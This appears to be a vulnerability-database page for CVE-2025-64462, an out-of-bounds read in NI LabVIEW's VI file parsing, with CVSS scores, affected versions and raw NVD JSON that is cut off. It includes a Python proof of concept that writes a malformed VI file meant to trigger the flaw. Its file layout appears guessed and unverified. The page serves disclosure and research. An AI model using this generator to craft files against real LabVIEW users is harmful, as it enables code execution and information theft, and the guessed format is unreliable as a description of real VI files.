Security Vulnerability Report
中文
CVE-2025-64462 CVSS 7.8 HIGH

CVE-2025-64462

Published: 2025-12-18 15:15:58
Last Modified: 2025-12-24 15:10:50

Description

There is an out of bounds read vulnerability in NI LabVIEW in LVResFile::RGetMemFileHandle() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2025 Q3 (25.3) 及之前所有版本
NI LabVIEW 24.x
NI LabVIEW 23.x 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64462 PoC - Malformed VI File Generator This PoC generates a malformed VI file that triggers an out-of-bounds read in LVResFile::RGetMemFileHandle() in NI LabVIEW versions <= 25.3 WARNING: For educational and security research purposes only. """ import struct import os def create_malformed_vi(output_path): """ Create a malformed VI file to trigger CVE-2025-64462 """ # VI file header (LabVIEW uses LV class file format) header = bytearray() # File signature for LabVIEW VI header.extend(b'VI') # VI signature header.extend(struct.pack('<H', 0x0000)) # Version marker header.extend(struct.pack('<I', 0xFFFFFFFF)) # Flags # Corrupt the RGetMemFileHandle data section # This causes out-of-bounds read when parsing corrupted_section = bytearray() # Malformed resource file handle data # Trigger out-of-bounds read by setting invalid size/offset corrupted_section.extend(struct.pack('<I', 0x00000001)) # Handle type corrupted_section.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid large size corrupted_section.extend(struct.pack('<I', 0x00000000)) # Zero offset corrupted_section.extend(struct.pack('<I', 0xDEADBEEF)) # Corrupt data corrupted_section.extend(b'\x00' * 256) # Padding with nulls header.extend(corrupted_section) # Add extra data to trigger boundary condition header.extend(b'\xFF' * 1024) # Write the malformed VI file with open(output_path, 'wb') as f: f.write(header) print(f"[+] Malformed VI file created: {output_path}") print(f"[+] File size: {len(header)} bytes") print("[!] This file may trigger CVE-2025-64462 when opened in NI LabVIEW <= 25.3") if __name__ == "__main__": output_file = "CVE-2025-64462_poc.vi" create_malformed_vi(output_file) print("\n[*] Note: This PoC is for educational purposes only.") print("[*] Do not use on systems without proper authorization.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64462", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:58.177", "lastModified": "2025-12-24T15:10:50.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is an out of bounds read vulnerability in NI LabVIEW in LVResFile::RGetMemFileHandle() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:*", "matchCriteriaId": "4D12D6CF-802F-47BA-ADF9-9E52C071BD7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:*", "matchCriteriaId": "340F61E5-D1ED-4C29-A894-8BC5C5B90ACE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "52CC3023-4913-40BA-B74C-786F32DC7551"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "FC150E98-5889-4A65-84B8-E4871091D104"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "85B3D429-4F3D-44CC-9304-837FB6D7E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "1FB7783C-FCB2-4564-98CF-F76F848E8E86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "82EE4E24-D802-4F6A-82E3-125221C1609C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vulnerable": ... (truncated)